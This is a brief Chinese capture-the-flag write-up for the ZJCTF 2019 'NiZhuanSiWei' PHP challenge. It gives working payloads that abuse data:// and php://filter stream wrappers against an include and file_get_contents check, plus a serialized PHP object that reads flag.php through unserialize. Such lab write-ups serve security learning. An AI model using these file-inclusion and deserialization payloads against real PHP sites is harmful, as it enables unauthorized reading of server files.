[ZJCTF 2019]NiZhuanSiWei

虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来

php伪协议写入内容

看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter,data:写入内容为welcome to the zjctf,&加入php伪协议来读取useless.php

payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

给file变量在赋值读取flag.php

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将前面的伪协议去掉,最终的poc是:

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

相关推荐
海天鹰12 分钟前
安卓相机:获取最近拍摄的照片缩略图做相册按钮图标
android
tongyiixiaohuang16 分钟前
技术案例分享:金蝶云星空客户数据同步到MySQL的实现
android·数据库·mysql
小羊子说31 分钟前
Android ANR 原理浅析
android·性能优化·车载系统
Be for thing1 小时前
Android Studio 常用快捷键总结
android·学习
小菜鸟阿呆yu1 小时前
【pycharm】安装包例如pymysql
ide·python·pycharm
Vect__2 小时前
MySQL的数据类型和约束
android·数据库·mysql
ChoSeitaku2 小时前
5.MySQL表的约束|空属性|默认值|列描述|主键|自增长|唯一键|外键
android·数据库·mysql
茅盾体3 小时前
React Native
android·react native·react.js
森林猿3 小时前
IDEA-控制台乱码
java·ide·intellij-idea
是Yu欸3 小时前
SGLang 推理服务基础性能评测
android·数据库·大模型·github·昇腾·sglang·qwen3